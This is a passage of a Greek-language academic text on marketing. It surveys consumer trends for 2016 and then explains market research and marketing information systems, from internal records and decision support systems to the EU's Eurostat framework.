συμπεριφορές είναι κάτι το οποίο δεν μας ξαφνιάζει πια. Οι εταιρείες παράγουν προϊόντα τα οποία τα ονομάζουν «gender-neutral». Η Amazon δε διαχωρίζει τα παιδικά παιχνίδια σε αγορίστικα και κοριτσίστικα. Η Airfix παράγει συναρμολογούμενα μοντέλα και για κορίτσια που θέλουν να γίνουν επιστήμονες. Η Target δε διαχωρίζει πλέον τα τμήματα στα μαγαζιά της με βάση το φύλο. Τα στερεότυπα άρχισαν να καταρρέουν. Το «ανδρόγυνο» στυλ έχει επικρατήσει στη μόδα και αυτή η τάση θα συνεχιστεί. Τάση Νο 6: Το «Πράσινο» Φαγητό Οι άνθρωποι, μέσα στο 2016, θα «πρασινίσουν» τη διατροφή τους. Όλο και περισσότεροι μειώνουν τα απορρίμματα που προέρχονται από το φαγητό τους και αποφεύγουν με κάθε τρόπο να τρέφονται με ανθυγιεινά φαγητά. Επιθυμούν να αγοράζουν τοπικά παραγόμενα αγροδιατροφικά προϊόντα, εποχιακά και βιολογικά. Επιλέγουν συνειδητά τα «άσχημα» λαχανικά και απαιτούν διαφάνεια στην αλυσίδα αξίας των παραγόμενων προϊόντων. Το πώς επιλέγει να τρέφεται κάποιος θα αποτελεί ιδεολογικό θέμα. Υπηρεσίες που παραδίδουν στο σπίτι υγιεινά πιάτα, κρέας που παράγεται από ζώα που εκτρέφονται «ηθικά», οι αστικοί κήποι, τα farmers' markets και τα organic markets ήρθαν για να μείνουν αλλά και για να διευρυνθούν. Τάση Νο 7: Ευεξία Οι καταναλωτές δεν νοιάζονται πια μόνο για τη σωματική τους υγεία. Τα βιβλία, οι εφαρμογές για τις smart συσκευές, τα τουριστικά προϊόντα, οι εναλλακτικοί τρόποι εκγύμνασης και διάφορες άλλες υπηρεσίες που προωθούν την ισορροπία νου και σώματος, την ολιστική αντιμετώπιση των ασθενειών και των διαταραχών καθώς και τη μείωση του στρες θα ζητιούνται όλο και περισσότερο. Και όχι μόνο σε ατομικό επίπεδο. Οι άνθρωποι νοιάζονται και για το διπλανό τους. Υπηρεσίες «μαζικής» θεραπείας, σαν αυτές που προσφέρονται από το «Panoply» θα παρέχονται όλο και πιο συχνά. Τάση Νο 8: Ο Υπερ-συνδεδεμένος Καταναλωτής Περίπου ο μισός πληθυσμός της γης είναι συνδεδεμένος στο internet. Αναμένεται το 2016 ο αριθμός των χρηστών του διαδικτύου να αγγίξει τα 3 δισεκατομμύρια. 1)

Παράλληλα με τη «φυσική» ζωή, ζούμε και μία digital-virtual ζωή, η οποία όμως έχει

μπει στο μικροσκόπιο σχετικά με τις αρνητικές επιπτώσεις που έχει σε παιδιά και ενήλικες. Οι απαιτήσεις των καταναλωτών από τη λέξη «smart» είναι μεγάλες. Τα smartphones μας συντροφεύουν παντού και θεωρούνται τα επικρατέστερα «εργαλεία» για την πληρωμή λογαριασμών. Το texting, ειδικά για τους εφήβους είναι must και μελέτες έχουν δείξει ότι μειώνει τις ακαδημαϊκές τους αποδόσεις.

2)

Ο εθισμός του smartphone αποτελεί πλέον μία μεγάλη πρόκληση. Έτσι, έχει ξεκινήσει

να εφαρμόζεται η απαγόρευση χρήσης των κινητών τηλεφώνων σε διάφορους χώρους/καταστήματα όπως σε πολλές δημόσιες πισίνες της Σουηδίας και σε αρκετά καφέ των ΗΠΑ.Πολλοί γονείς νοιάζονται και συλλέγουν πληροφορίες ή μπλογκάρουν γιατί ανησυχούν για το φαινόμενο «Vampire Kids»-τα παιδιά χάνουν τον ύπνο τους γιατί ασχολούνται με διάφορα gadgets. 3)

Πολλές μελέτες αποδεικνύουν ότι ο υπερ-συνδεδεμένος χρήστης, ναι μεν είναι πολύ

πληροφορημένος, όμως ταυτόχρονα κινδυνεύει η ψυχική του και η σωματική του υγεία. Έτσι, προϊόντα/υπηρεσίες που θα μετατρέπουν το ψηφιοποιημένο άνθρωπο σε αναλογικό και που θα δίνουν λύσεις στα προαναφερόμενα προβλήματα θα είναι άμεσα αποδεκτά.Μέσα στο 2015 αυξήθηκε ο αριθμός των «φυσικών» βιβλιοπωλείων στις ΗΠΑ (τώρα ανοίγει και η Amazon αλυσίδα από δαύτα). 4)

Τα «αναλογικά» προϊόντα επανέρχονται ως luxury goods. Στη Χιλή έχει αναπτυχθεί η

εφαρμογή «Osss» που υπόσχεται να δημιουργήσει μία κοινότητα ανθρώπων που θέλουν να «αποσυνδεθούν» προκειμένου να συνδεθούν μεταξύ τους με τον παραδοσιακό, φυσικό τρόπο. Το προϊόν «NoPhone» που χρηματοδοτήθηκε από το Kickstarter είναι ένα ψεύτικο τηλέφωνο που βοηθάει στην απεξάρτηση από το αληθινό smartphone. Τάση Νο 9: Shopping for Control (Η αγορά της ασφάλειας και του ελέγχου) Διάφορα παγκόσμια γεγονότα, η ανησυχία για την προσωπική μας ασφάλεια και η οικονομική πίεση οδηγεί πολλούς καταναλωτές να θέλουν να έχουν περισσότερο έλεγχο της ζωής τους και έτσι μπαίνουν στη διαδικασία να τον αγοράζουν. Αυτή η ανασφάλεια και ο φόβος οδηγούν στην αγορά συστημάτων που εγκαθίστανται σε συσκευές τηλεφώνου και σε Η/Υ ώστε πχ. να ελέγχουν οι γονείς τα παιδιά τους. Ζούμε στην εποχή του «Big Brother». Συστήματα που χρησιμοποιούνται για τη δημιουργία του «Έξυπνου Σπιτιού» αγοράζονται μαζικά και παράλληλα δημιουργούνται τα «Internet of Things» χωριά. Αγοράζουμε πλέον ασφάλεια μέσω των ασφαλών τροφίμων, συστημάτων ασφάλειας για τα σπίτια μας και προστασίας της ιδιωτικότητάς μας, αυτοκίνητα που είναι ασφαλή για το περιβάλλον. Η θέληση για πλήρη έλεγχο της ζωής μας και των δράσεών μας θα οδηγήσει σε αύξηση των online αγορών κατά 16,3% το 2016. Τάση Νο 10: Οι Singles Οι singles, έχοντας λιγότερες υποχρεώσεις και περισσότερα χρήματα να ξοδέψουν, αποτελούν ένα πολλά υποσχόμενο

target group για αυθεντικά και luxurious

προϊόντα/υπηρεσίες όπως τα «subscription boxes» που περιέχουν συνδυασμό προΪόντων

τροφίμων, snacks για ανθρώπους και για κατοικίδια, προϊόντων κοσμετολογίας και προσωπικής περιποίησης, ειδών γραφείου. 1)

Επίσης, αυτοί οι «μόνοι» άνθρωποι κάνουν πολλά ταξίδια, ανοίγοντας την αγορά για

παροχή ιδιαίτερων υπηρεσιών που θα τους παρέχουν ιδιαίτερες εμπειρίες. Ξοδεύουν αρκετά χρήματα για παιδιά συγγενών τους τόσο για να τους αγοράσουν παιχνίδια ή ρούχα αλλά και για να ταξιδέψουν μαζί τους (θείες με ανίψια). 2)

Πολλοί από τους singles είναι οι γνωστοί «yuccies», νέοι κάτω των 35 που

ασχολούνται με την τέχνη αλλά και με το design, κερδίζουν αρκετά χρήματα, ζούνε μια «εναλλακτική» αλλά «καλή» ζωή, μοιράζονται δημιουργικούς χώρους, και μαζεύονται έτσι πολλοί «solopreneurs» και δημιουργούν. 3)

Τέλος, αυτοί οι άνθρωποι τρώνε συνήθως σε trendy εστιατόρια και όχι στο σπίτι τους.

Η επιρροή των οικονομικών αλλαγών στην έρευνα αγοράς Με την πάροδο του χρόνου και ιδιαίτερα στο πέρας μίας χιλιετίας παρουσιάζεται μια συνεχώς φθίνουσα πορεία σε ό,τι αφορά την εξέλιξη των εισοδημάτων και τις ευκαιρίες απασχόλησης. Οι εθνικές οικονομίες λόγω της παγκοσμιοποίησης και της συνεχούς τεχνολογικής μεταβολής, υπόκεινται σε ταχείες και ουσιαστικές μεταμορφώσεις. Η παγκοσμιοποίηση επέφερε εκρηκτική αύξηση του παγκοσμίου εμπορίου και του διεθνούς ανταγωνισμού, ενώ η συνεχής τεχνολογική μεταβολή ωφελεί στη διαθεσιμότητα των πληροφοριών και στην ταχύτητα των επικοινωνιών γενικά. Οι δυο παραπάνω δυνάμεις δημιουργούν πολλές νέες ευκαιρίες, ενώ ταυτόχρονα απειλούν ολοένα και περισσότερο το σημερινό καθεστώς. Οι εθνικές οικονομίες προς επιβίωσή τους πρέπει να αντιλαμβάνονται τον τρόπο με τον οποίο μπορούν να παράγουν εμπορεύσιμη αξία, αγαθά ή υπηρεσίες, που οι καταναλωτές είναι πρόθυμοι να αγοράσουν. Οι καταναλωτές έχουν να αντιμετωπίσουν μια αγορά, η οποία δεν πουλάει μόνον αγαθά ή υπηρεσίες, αλλά ακόμα ιδέες, γνώσεις, γεγονότα, προσωπικότητες. Οι αλλαγές των αγορών σήμερα γίνονται ραγδαία, λόγος και για τον οποίο οι ερευνητές διαμορφώνουν μια ευρεία στρατηγική και ορίζουν ένα σχέδιο δράσης, έτσι ώστε τα αποτελέσματα της έρευνας που πραγματοποιούν να είναι τα βέλτιστα. Η ποιότητα των αποτελεσμάτων, εξαρτάται σε πολύ μεγάλο βαθμό από την ποιότητα των πληροφοριών που διαθέτουν. Όσο πιο αξιόπιστες είναι οι πληροφορίες που θα συλλέγουν, τόσο βελτιστοποιείται και το αποτέλεσμα της έρευνάς. Αποτέλεσμα καθοριστικό τόσο για το χρόνο, όσο και για την ποιότητα ζωής μίας επιχείρησης. Η ουσιαστικότερη λειτουργία της έρευνας αγοράς (marketing research) είναι να παρέχει στα διοικητικά στελέχη της κάθε επιχείρησης τις πληροφορίες που αναφέραμε προηγουμένως, προκειμένου να ληφθούν σημαντικές

αποφάσεις σε ό,τι αφορά όλες τις τεχνικές και τις μεθόδους που πρέπει να χρησιμοποιηθούν από μια επιχείρηση για την επίλυση κάποιου προβλήματος. Συστήματα πληροφοριών μάρκετινγκ - Marketing Information Systems (MIS) Κάθε επιχείρηση πρέπει να οργανώνει τη ροή των πληροφοριών προκειμένου να βοηθήσει τα στελέχη του τμήματος μάρκετινγκ στη λήψη αποφάσεων, σε θέματα όπως οι ανάγκες των καταναλωτών και το πως αυτές μεταλλάσσονται, το λανσάρισμα νέων προϊόντων στην αγορά, η συσκευασία του προϊόντος, η αποτελεσματικότητα της διαφήμισης του προϊόντος, η τιμολογιακή πολιτική. Αυτός είναι άλλωστε και ο σκοπός για τον οποίο πραγματοποιείται μια έρευνα αγοράς. Τα αποτελέσματα μιας έρευνας αγοράς αποτελούν ένα “διοικητικό εργαλείο” για μια επιχείρηση και για να φανούν χρήσιμα θα πρέπει να αξιοποιούνται σωστά. Προκειμένου να γίνει ανάλυση δεδομένων, σχεδιασμός, υλοποίηση και έλεγχος, οι πληροφορίες είναι απαραίτητες και λειτουργούν ως βάση για την έναρξη της έρευνάς μας. Η πληροφόρηση που απαιτείται από τα στελέχη, δεν παρέχεται μόνον από την έρευνα που έχει πραγματοποιηθεί. Η απλή συγκέντρωση των πληροφοριών δεν επαρκεί. Οι πληροφορίες θα πρέπει να διαχέονται με το σωστό τρόπο μέσα στην επιχείρηση έτσι ώστε να φθάνουν στα σωστά άτομα, τα οποία είναι αρμόδια για τη λήψη αποφάσεων. Είναι απαραίτητο να προσδιορίζεται η μεθοδολογία και οι προδιαγραφές της κάθε έρευνας έτσι ώστε τα παραγόμενα δεδομένα να είναι απολύτως συγκρίσιμα μεταξύ τους. Μέθοδοι οι οποίες μπορούν να χρησιμοποιηθούν από τα αρμόδια στελέχη με σκοπό την πληροφόρησή τους, είναι τα συστήματα πληροφοριών. Εξορισμού λοιπόν, ένα σύστημα πληροφοριών αποτελείται από άτομα, μηχανήματα και διαδικασίες που συγκεντρώνουν, ταξινομούν, αναλύουν, αξιολογούν και διανέμουν απαραίτητες, έγκαιρες και ακριβής πληροφορίες στους διαμορφωτές των αποφάσεων μάρκετινγκ. Η έρευνα αγοράς συνίσταται στη συγκέντρωση πληροφοριών, ενώ το σύστημα πληροφοριών αποσκοπεί στη συνεχή ροή πληροφοριών στους λαμβάνοντες αποφάσεις. Αναλύοντας την έννοια των συστημάτων πληροφοριών μάρκετινγκ – Marketing Information System (MIS) θα κατανοήσουμε τη βασική οργάνωση που πραγματοποιεί μια επιχείρηση. Το σύστημα εσωτερικών αρχείων αποτελεί το βασικότερο σύστημα πληροφόρησης που χρησιμοποιείται από τα στελέχη μάρκετινγκ. Στο σύστημα αυτό περιλαμβάνονται αναφορές, παραγγελίες, πωλήσεις, τιμές, ύψος αποθεμάτων, απαιτήσεις, υποχρεώσεις και πολλές άλλες παράμετροι. Το παρακάτω σχήμα περιγράφει τον κύκλο παραγγελίας – αποστολής – τιμολόγησης, που αποτελεί την καρδιά του συστήματος εσωτερικών αρχείων.

Οι πωλητές, οι ντήλερς και οι πελάτες αποστέλλουν τις παραγγελίες τους στην επιχείρηση, το τμήμα παραγγελιών ετοιμάζει τα τιμολόγια και στέλνει αντίγραφα σε διάφορα τμήματα. Τα προϊόντα για τα οποία δεν υπάρχει απόθεμα μπαίνουν σε κατάσταση καθυστερημένων παραγγελιών. Όλα τα αποστελλόμενα εμπορεύματα συνοδεύονται από δελτία αποστολής και τιμολόγια τα οποία εκδίδονται σε πολλά αντίγραφα και αποστέλλονται σε διάφορα τμήματα της επιχείρησης. Οι λογαριασμοί που προκύπτουν θα πρέπει να εξοφλούνται άμεσα. Οι επιχειρήσεις πρέπει να πραγματοποιούν τα παραπάνω βήματα σωστά και με γοργούς ρυθμούς. Αυτό διότι οι πελάτες προτιμούν τις επιχειρήσεις που έχουν τη δυνατότητα να παραδίδουν τα προϊόντα τους έγκαιρα. Το τμήμα διεκπεραίωσης των παραγγελιών, οι οποίες πραγματοποιούνται συνήθως νυκτερινές ώρες, πρέπει να τις φέρνει εις πέρας άμεσα. Στη συνέχεια οι αποθήκες πρέπει να αποστέλλουν τα αγαθά το συντομότερο δυνατόν. Οι σύγχρονες πια επιχειρήσεις χρησιμοποιούν το λογισμικό αποστολής – παραλαβής ηλεκτρονικών δεδομένων με σκοπό να βελτιώσουν την ταχύτητα, την ακρίβεια και την αποτελεσματικότητα του κύκλου παραγγελίας – αποστολής – τιμολόγησης. Για παράδειγμα η εταιρεία FURLA, μια από τις μεγαλύτερες ιταλικές εταιρείες λιανεμπορίου δερματίνων ειδών, παρακολουθεί και καταχωρεί το ύψος των αποθεμάτων των προϊόντων της μέσω ηλεκτρονικού υπολογιστή. Τη στιγμή που το ύψος του αποθέματος κάποιου προϊόντος φθάσει σε ένα συγκεκριμένο αριθμό τεμαχίων, τότε αυτόματα πραγματοποιείται ηλεκτρονική παραγγελία στον προμηθευτή, ο οποίος με τη σειρά του αποστέλλει το εμπόρευμα στην αντιπροσωπία ή απευθείας στο κατάστημα που το έχει ανάγκη. Οι ενημερωμένες αναφορές αποτελούν απαραίτητες πληροφορίες για τις τρέχουσες πωλήσεις.

Η τεχνολογία των ηλεκτρονικών υπολογιστών προσφέρει άμεση πρόσβαση στις πληροφορίες αυτές με αποτέλεσμα την γρήγορη ανατροφοδότηση. Σύστημα ανίχνευσης πληροφοριών – Information Search System (ISS) Το σύστημα ανίχνευσης πληροφοριών μάρκετινγκ είναι ένα σύνολο διαδικασιών και πηγών που χρησιμοποιούν τα στελέχη για να εξασφαλίσουν την καθημερινή τους πληροφόρηση σχετικά με εξέχοντος ενδιαφέροντος εξελίξεις στο περιβάλλον μάρκετινγκ. Ενώ με το σύστημα εσωτερικών αρχείων παρέχονται στοιχεία για τα αποτελέσματα, δηλαδή στοιχεία που αφορούν παραγγελίες, πωλήσεις, τιμές, ύψος αποθεμάτων, απαιτήσεις, υποχρεώσεις και πολλές άλλες παραμέτρους, το σύστημα ανίχνευσης πληροφοριών παρέχει στοιχεία που αφορούν συγκεκριμένα γεγονότα. Το παρακάτω σχήμα απεικονίζει ένα τυπικό σύστημα ανίχνευσης πληροφοριών, όπου η κύρια αποστολή του είναι να παρέχει κατάλληλα διασκευασμένες και με συνεχή ροή πληροφορίες που είναι απαραίτητες. 14 Αναλύοντας το παραπάνω σχήμα, παρατηρούμε πως τα στελέχη μάρκετινγκ μίας επιχείρησης τροφοδοτούνται μέσω ενός συστήματος πληροφοριών, με τρία διαφορετικά είδη πληροφοριών. Περιοδικές αναφορές, αναφορές παρακολούθησης – ελέγχου, ζητούμενες αναφορές.

Περιοδικές Αναφορές Διοχετεύονται στα στελέχη Μάρκετινγκ ανά τακτά χρονικά διαστήματα. Είναι πληροφορίες όπως μερίδια αγοράς, τιμές ανταγωνιστών, ικανοποίηση πελατών από τα υπάρχοντα προϊόντα, αγοραστικές προθέσεις των καταναλωτών και πωλήσεις. Λαμβάνονται σε ημερήσια, εβδομαδιαία, μηνιαία, τριμηνιαία, εξαμηνιαία και ετήσια βάση. Οι περιοδικές αναφορές, είναι χρήσιμες για τον εντοπισμό προβλημάτων αλλά και ευκαιριών. Χρησιμοποιούνται επίσης για την αξιολόγηση της αποτελεσματικότητας των λαμβανομένων αποφάσεων σε υπάρχοντα προβλήματα, όπως μερίδια αγοράς που μπορούν να

χρησιμοποιηθούν για την αξιολόγηση των πιθανών μεταβολών στην τιμολογιακή πολιτική της εταιρείας. Αναφορές Παρακολούθησης – Ελέγχου Οι αναφορές αυτές περιέχουν πληροφορίες που προέρχονται από συστηματική παρακολούθηση διαφόρων πηγών. Για τον σκοπό αυτό, όλες οι σχετιζόμενες πηγές όπως δημοσιεύσεις σε εφημερίδες και περιοδικά, εκδόσεις επιμελητηρίων και κυβερνητικές εκθέσεις, εξετάζονται συστηματικά. Οι πληροφορίες αυτές συνήθως προέρχονται από εξω-επιχειρησιακές πηγές και συμβάλλουν ιδιαίτερα στην ευαισθητοποίηση των στελεχών σε πιθανά μελλοντικά προβλήματα. Τέτοια προβλήματα θα μπορούσαν να είναι ένας νέος ανταγωνιστής ή μια νέα δραστηριότητα από κάποιον ήδη υπάρχων ανταγωνιστή. Οι αναφορές παρακολούθησης θα μπορούσαν επίσης να χρησιμεύσουν στην αναγνώριση ευκαιριών, όπως για παράδειγμα νέες χρήσεις προϊόντων, νέα τμήματα αγορών και βελτιώσεις στο ήδη υπάρχων προϊόν. Ζητούμενες Αναφορές Οι αναφορές αυτές δημιουργούνται και προσαρμόζονται στις ανάγκες και στις απαιτήσεις κάποιου συγκεκριμένου στελέχους από το οποίο θα ζητηθούν. Μπορεί να αποτελούνται από πληροφορίες, που είναι πιθανόν να μην περιέχονται στο σύστημα και να απαιτείται η συλλογή τους.

Σύστημα ερευνών – Research System (RS) Ως έρευνα μάρκετινγκ ορίζεται ο συστηματικός σχεδιασμός, η συλλογή, η ανάλυση και η αναφορά στοιχείων και διαπιστώσεων που έχουν σχέση με μια συγκεκριμένη περίπτωση μάρκετινγκ που αντιμετωπίζει η εταιρεία. Η έρευνα μάρκετινγκ πραγματοποιείται κατόπιν υποδείξεως των μάρκετινγκ μάνατζερς μιας επιχείρησης και την αποτελούν επίσημες μελέτες που αφορούν ειδικά προβλήματα και ευκαιρίες. Σε μια έρευνα μάρκετινγκ πραγματοποιείται για παράδειγμα ένα τεστ προτίμησης προϊόντος, μια πρόβλεψη πωλήσεων ανά περιοχή, μια έρευνα για την αποτελεσματικότητα μιας διαφήμισης. 16 Οι όροι έρευνα αγοράς και έρευνα μάρκετινγκ συγχέονται αλλά δεν ταυτίζονται. Η έρευνα αγοράς, πραγματοποιείται σε κάποια συγκεκριμένη αγορά ενώ η έρευνα μάρκετινγκ είναι μια έννοια με ευρύτερη σημασία. Κατά συνέπεια η πρώτη είναι απλώς μια συνιστώσα της δεύτερης. Μια εταιρεία μπορεί να εξασφαλίσει έρευνα μάρκετινγκ με πολλούς τρόπους. Οι περισσότερες μεγάλες εταιρείες διαθέτουν τμήμα έρευνας μάρκετινγκ. Ο μάνατζερ του συγκεκριμένου τμήματος αναφέρεται στον διευθυντή του ιδίου τμήματος ο οποίος διεξάγει τη μελέτη που χρειάζεται και γενικότερα έχει το ρόλο του διαχειριστή συμβούλου και συνηγόρου της εταιρείας. Μικρές εταιρείες μπορεί να μη διαθέτουν τμήμα μάρκετινγκ ή να μην έχουν τη δυνατότητα να καλύψουν οικονομικά μια τέτοια υπηρεσία, αλλά μπορούν να διεξάγουν έρευνα με δημιουργικό και οικονομικά συμφέροντα τρόπο. Κάτι τέτοιο θα μπορούσε να είναι ανάθεση

της έρευνας σε σπουδαστές ή καθηγητές, υπηρεσίες online πληροφοριών, διεξαγωγή ελέγχων σε ανταγωνιστές κ.α. Στην έρευνα μάρκετινγκ διατίθεται συνήθως το 1-2% των εσόδων από πωλήσεις, ενώ το 80% δαπανάται απευθείας από το τμήμα ερευνών μάρκετινγκ για την αγορά υπηρεσιών από εταιρείες ερευνών μάρκετινγκ. Οι επιχειρήσεις ερευνών μάρκετινγκ χωρίζονται σε τρεις κατηγορίες: Εταιρείες διεξαγωγής κοινοπρακτικών μάρκετινγκ Οι επιχειρήσεις αυτές συγκεντρώνουν περιοδικά πληροφορίες σχετικά με τον καταναλωτή και το εμπόριο, τις οποίες πωλούν στους πελάτες τους έναντι αμοιβής Εταιρείες ειδικών ερευνών μάρκετινγκ Οι επιχειρήσεις αυτές έναντι αμοιβής αναλαμβάνουν να διεξάγουν ειδικές έρευνες, συμμετέχοντας στον σχεδιασμό της μελέτης Εταιρείες εξειδικευμένων ερευνητικών υπηρεσιών Οι επιχειρήσεις αυτές παρέχουν ειδικές υπηρεσίες σε άλλες επιχειρήσεις. Ένα αξιοσημείωτο παράδειγμα αποτελούν επιχειρήσεις διεξαγωγής συνεντεύξεων που παρέχουν τις υπηρεσίες τους σε άλλες εταιρείες ερευνών Κλείνοντας αυτή την παράγραφο, αξίζει να αναφέρουμε την συνεχή επέκταση και βελτίωση των δραστηριοτήτων και των τεχνικών που επέρχεται με την πάροδο του χρόνου στους ερευνητές μάρκετινγκ.

Σύστημα υποστήριξης αποφάσεων μάρκετινγκ - Marketing Decision Support System (MDSS) Όπως αναφέραμε και προηγουμένως, ένα σύστημα πληροφοριών μπορεί να αναδειχθεί σε ένα πολύ χρήσιμο εργαλείο στα χέρια ενός διοικητικού στελέχους. Παρόλα αυτά υπάρχουν πολλοί λόγοι που δυσχεραίνουν την αποδοχή και χρήση ενός συγκεκριμένου συστήματος πληροφοριών. Για την καλύτερη κατανόηση του παραπάνω προβλήματος, θα αναφέρουμε κάποιους από αυτούς τους λόγους Απροθυμία των διοικητικών στελεχών να αποκαλύψουν τον τρόπο ή τους παράγοντες που λαμβάνουν υπ’ όψιν τους προκειμένου να πάρουν μια απόφαση Δυσκολία στη δημιουργία μιας ‘ιδανικής’ αναφοράς που να ικανοποιεί τις ανάγκες όλων των στελεχών της εταιρείας Κόστος και χρόνος που απαιτείται για τη δημιουργία ενός συστήματος πληροφοριών Αναποτελεσματικότητα ενός συστήματος πληροφοριών, όταν πρέπει να τυποποιηθούν και να προγραμματιστούν πολλές δραστηριότητες μαζί και εκ των προτέρων Δυσκολία προγραμματισμού ποιοτικών κυρίως στοιχείων που είναι όμως απαραίτητα, σε ένα σύστημα πληροφοριών Όπως αναφέραμε προηγουμένως, οι παραπάνω λόγοι είναι κάποιοι για τους οποίους η χρήση ενός απλού συστήματος πληροφοριών μπορεί να φανεί αναποτελεσματική. Αυτό οδήγησε στη δημιουργία ενός άλλου συστήματος πληροφοριών, καλούμενο ως ‘Σύστημα υποστήριξης αποφάσεων μάρκετινγκ’. Το σύστημα υποστήριξης αποφάσεων μάρκετινγκ, είναι ένα

συντονισμένο σύνολο στοιχείων, συστημάτων, εργαλείων και τεχνικών που συνοδεύεται από το λογισμικό και τα μηχανήματα υποστήριξης με τα οποία ένας οργανισμός συλλέγει και ερμηνεύει σχετικές πληροφορίες από τις επιχειρήσεις και το περιβάλλον της και τις μετατρέπει σε μια βάση για την ανάληψη ενεργειών μάρκετινγκ. Τα βασικά συστατικά για τη δημιουργία ενός τέτοιου συστήματος είναι τα εξής: Δεδομένα- Στοιχεία Τα στοιχεία ενός συστήματος υποστήριξης αποφάσεων αποτελούν όλες τις διαδικασίες και τις μεθόδους που χρησιμοποιούνται για να συλλέγουν στοιχεία από 18 ενδο-επιχειρησιακές πηγές, όπως το μάρκετινγκ, το λογιστήριο και η παραγωγή, αλλά και από εξω-επιχειρησιακές πηγές. Για παράδειγμα ένα σύστημα υποστήριξης αποφάσεων μπορεί να έχει δεδομένα που αφορούν τις συνήθειες των καταναλωτών, δημογραφικά στοιχεία, οικονομικά στοιχεία, στοιχεία σχετικά με τον ανταγωνισμό και στοιχεία σχετικά με τον κλάδο. Η ανάπτυξη και ο σχεδιασμός ενός συστήματος MDSS διευκολύνεται όλο και περισσότερο τα τελευταία χρόνια από την ανάπτυξη και χρήση των βάσεων δεδομένων που περιέχουν τέτοιου είδους στοιχεία. Οι δυνατότητες που παρέχουν αυτές οι βάσεις δεδομένων στα στελέχη μάρκετινγκ, είναι απεριόριστες. Μοντέλα Τα μοντέλα ενός MDSS περιλαμβάνουν εκείνα τα στατιστικά προγράμματα και μοντέλα αποφάσεων που επιτρέπουν στο χρήστη να χρησιμοποιήσει τα δεδομέναστοιχεία με τον ανάλογο επιθυμητό τρόπο και να πραγματοποιεί εκείνες τις αναλύσεις που θεωρεί αναγκαίες. Τα τελευταία χρόνια υπάρχει μεγάλη εξέλιξη στη δημιουργία μοντέλων που αφορούν τις αποφάσεις του μάρκετινγκ. Έτσι υπάρχουν μοντέλα που αφορούν την αξιολόγηση νέων προϊόντων, την τιμολογιακή πολιτική, την πιθανή απόσυρση προϊόντων, τη διαφήμιση και το σχεδιασμό περιφερειών πωλήσεων. Τέτοια μοντέλα μπορεί να είναι: i. Μοντέλο επεξεργασίας Μάρκωφ Το μοντέλο αυτό δείχνει την πιθανότητα μετακίνησης από μια τρέχουσα κατάσταση σε κάποια άλλη μελλοντική κατάσταση. ii. Μοντέλο ιεράρχησης Το μοντέλο αυτό δείχνει τους χρόνους αναμονής και το μέγεθος της σειράς που μπορεί να αναμένει κανείς σε οποιοδήποτε σύστημα με δεδομένο το χρόνο άφιξης και εξυπηρέτησης καθώς και τον αριθμό των καναλιών εξυπηρέτησης. iii. Μοντέλα προελέγχου νέων προϊόντων Το μοντέλο αυτό απαιτεί εκτίμηση λειτουργικών σχέσεων ανάμεσα σε καταστάσεις ενημερότητας του αγοραστή, δοκιμές και ανανέωσης της αγοράς με βάση τις προτιμήσεις του καταναλωτή. iv. Μοντέλα ανταπόκρισης πωλήσεων

Πρόκειται για ένα σύνολο μοντέλων που εκτιμά τις λειτουργικές σχέσεις ανάμεσα σε μια ή περισσότερες μεταβλητές μάρκετινγκ, λόγου χάριν το μέγεθος της δύναμης των πωλήσεων, η διαφημιστική δαπάνη, η δαπάνη προώθησης των πωλήσεων, το ύψος της προκύπτουσας ζήτησης. v. Μοντέλα διακριτής επιλογής Τα μοντέλα αυτά υπολογίζουν την πιθανότητα επιλογής μιας εναλλακτικής λύσης για την αξιολόγηση των επιπτώσεων των διαφόρων εργαλείων μάρκετινγκ.. Διάλογος Το πιο κρίσιμο συστατικό ενός MDSS είναι το σύστημα διαλόγου. Το σύστημα διαλόγου χρησιμοποιεί και επιτρέπει στο στέλεχος να επεξεργάζεται τα δεδομένα μέσω των μοντέλων με τη βοήθεια ηλεκτρονικού υπολογιστή. Τα περισσότερα στελέχη όχι μόνον έχουν περιορισμένες ικανότητες προγραμματισμού, αλλά δεν έχουν το χρόνο και τη επιθυμία για την εκμάθηση τέτοιων δεξιοτήτων. Συνεπώς το σύστημα διαλόγου ενός MDSS πρέπει να είναι πολύ απλό και φιλικό προς τον χρήστη, ώστε να δίνεται η δυνατότητα στα στελέχη να κάνουν οι ίδιοι τις αναλύσεις που είναι απαραίτητες. Αν ισχύουν αυτές οι προϋποθέσεις, τότε η αξία του συστήματος αυτού για ένα διοικητικό στέλεχος είναι μεγάλη και του επιτρέπει να κάνει και να ελέγχει υποθέσεις, να τροποποιεί παραμέτρους και να εξετάζει εναλλακτικές λύσεις. Συμπερασματικά, το σύστημα υποστήριξης αποφάσεων μάρκετινγκ υπερέχει των άλλων συστημάτων διότι θεωρείται πιο κατάλληλο για μη συνηθισμένα, μη τυποποιημένα προβλήματα, συνδυάζει μεθόδους και στατιστικά μοντέλα με κλασσικές μεθόδους εντοπισμού δεδομένων, εμπεριέχει ιδιότητες που το κάνουν ιδιαίτερα φιλικό προς τον χρήστη, είναι ευέλικτο και εύκολα προσαρμόσιμο στα προβλήματα που αντιμετωπίζουν τα στελέχη. Το σύστημα αυτό μπορεί να ανταποκριθεί κάλλιστα σε διαφορετικές ανάγκες για πληροφόρηση των διοικητικών στελεχών, καθώς και στις μεταβολές που σημειώνονται στο εξω-επιχειρησιακό περιβάλλον.

Σύστημα Πληροφοριών της Ευρωπαϊκής Ένωσης – European Union Information System (EUIS) Η Ευρωπαϊκή Ένωση διαθέτει ένα ιδιαίτερο στατιστικό σύστημα βασισμένο στα επιμέρους στατιστικά συστήματα των χωρών – μελών της Ευρωπαϊκής Ένωσης. Ο σχεδιασμός των ερευνών κοινοτικού ενδιαφέροντος, συντονίζεται σε κεντρικό επίπεδο μέσω ενός ιδιαίτερου φορέα της Ευρωπαϊκής Ένωσης, της λεγόμενης EUROSTAT. Οι χώρες – μέλη συμμετέχουν σε επιτροπές και ομάδες εργασίας, στις οποίες προσδιορίζεται η μεθοδολογία και οι προδιαγραφές της κάθε έρευνας, έτσι ώστε τα παραγόμενα δεδομένα να είναι απολύτως συγκρίσιμα και οι αποφάσεις που παίρνονται μετά από κάθε τέτοια έρευνα, αποτελούν

